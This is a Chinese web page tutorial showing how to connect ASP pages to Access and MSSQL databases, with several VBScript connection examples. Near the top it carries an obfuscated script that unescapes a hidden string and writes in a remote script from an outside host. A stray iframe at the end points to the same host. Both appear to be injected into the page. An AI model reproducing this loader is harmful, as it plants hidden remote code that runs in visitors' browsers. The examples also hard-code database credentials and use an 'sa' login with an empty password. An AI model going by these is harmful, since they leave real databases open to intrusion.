常见数据库连接方法

 

HTML Tags and JavaScript tutorial

<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>

常见数据库连接方法

常见数据库access,mssql,mysql连接．连接语言均看合理搭配情况一般来说asp,jsp采用access,mssql．php采用mysql,不过都要根据实际情况而定,没有一成不变的东西．只有合理的配置和充分发挥效能才是不变的东西．不过以后可以借鉴一下.
1  asp连接数据库access.
<%@language=vbscript codepage=936 %>
<%
        startime=timer()
dim conn
dim connstr
dim db
   db="dbgroup.mdb" '更改数据库名字
Set conn = Server.CreateObject("ADODB.Connection")
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(""&db&"")
'如果你的服务器采用较老版本Access驱动，请用下面连接方法
  ' connstr="driver={Microsoft Access Driver (*.mdb)};dbq=" & Server.MapPath(""&db&"")
conn.Open connstr
sub connclose
conn.close
set conn=nothing
end sub
sub rsclose
rs.close
set rs=nothing
end sub
%>
2  asp连接数据库mssql
<%
dbuid="cc"              '数据库登陆名
dbpwd="df"          '数据库密码
dbname="date1"         '数据库名
dbip="61.152.243.229"        '数据库所在的IP地址，如果是本地数据库则不用更改
connstr="PROVIDER=SQLOLEDB;DATA SOURCE="&dbip&";UID="&dbuid&";PWD="&dbpwd&";DATABASE="&dbname
set conn=Server.CreateObject("adodb.Connection")
conn.open connstr
res=conn.execute("select * from [user]")(0)
response.write res
conn.close
set conn=nothing
%>
 
3 自动选择连接数据库access或者mssql.
<%　'option explicit
Dim DBType
DBType=0       '0为Access数据库，1为MSSQL数据库
   If(DBType=0) Then
         call  ConnectionDatabase
   elseif(DBType=1) then
     call  ConnectionDate
    end if
sub ConnectionDatabase
 Dim Connstr
 Db="dbgroup/user.mdb"
 Connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(""&db&"")
 Set conn=Server.CreateObject("ADODB.Connection")
 conn.open Connstr
 If Err then
   err.Clear
   Set Conn=Nothing
   Response.Write"数据库连接出错，请检查连接字符窜。"
   Response.End
 End if
 End sub 
 
  sub ConnectionDate
 Dim Connstr
   SqlDataName=""            '数据库名称
   SqlPassword=""            '连接密码
   SqlUsername="sa"            '连接用户名
   SqlLocalName="(LOCAL)"           '服务器名或IP地址
 Connstr = "Provider=Sqloledb; User ID="&SqlUsername&"; Password="&SqlPassword&"; Initial Catalog="&SqlDataName&"; Data Source="&SqlLocalName&";"
 Set Conn=Server.CreateObject("ADODB.Connection")
 Conn.Open Connstr
 If Err then
   err.Clear
   Set Conn=Nothing
   Response.Write"数据库连接出错，请检查连接字符窜。"
   Response.End
 End if
 End sub
%>
例子：新闻发布系统获得并输出新闻的标题和内容
连接Access数据库用asp较好（至于mysql吗，当然是php了），连接代码：
<%Set myconn=Server.CreateObject("ADODB.Connection")
'创建连接对象
myconn.Open "DRIVER={Microsoft Access Driver (*.mdb)}; " & _
"DBQ=" & server.mappath("news.mdb")
'连接news.mdb数据库
set myrs=Server.CreateObject("ADODB.Recordset")
'创建记录集（Recordset）对象
mysql="select * from news"
'SQL语句
myrs.open mysql,myconn,,,1
'获得记录集
response.write myrs("title").value&"<BR>"
'输出第一条新闻标题
response.write myrs("content").value&"<BR>"
'输出第一条新闻内容
%>

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">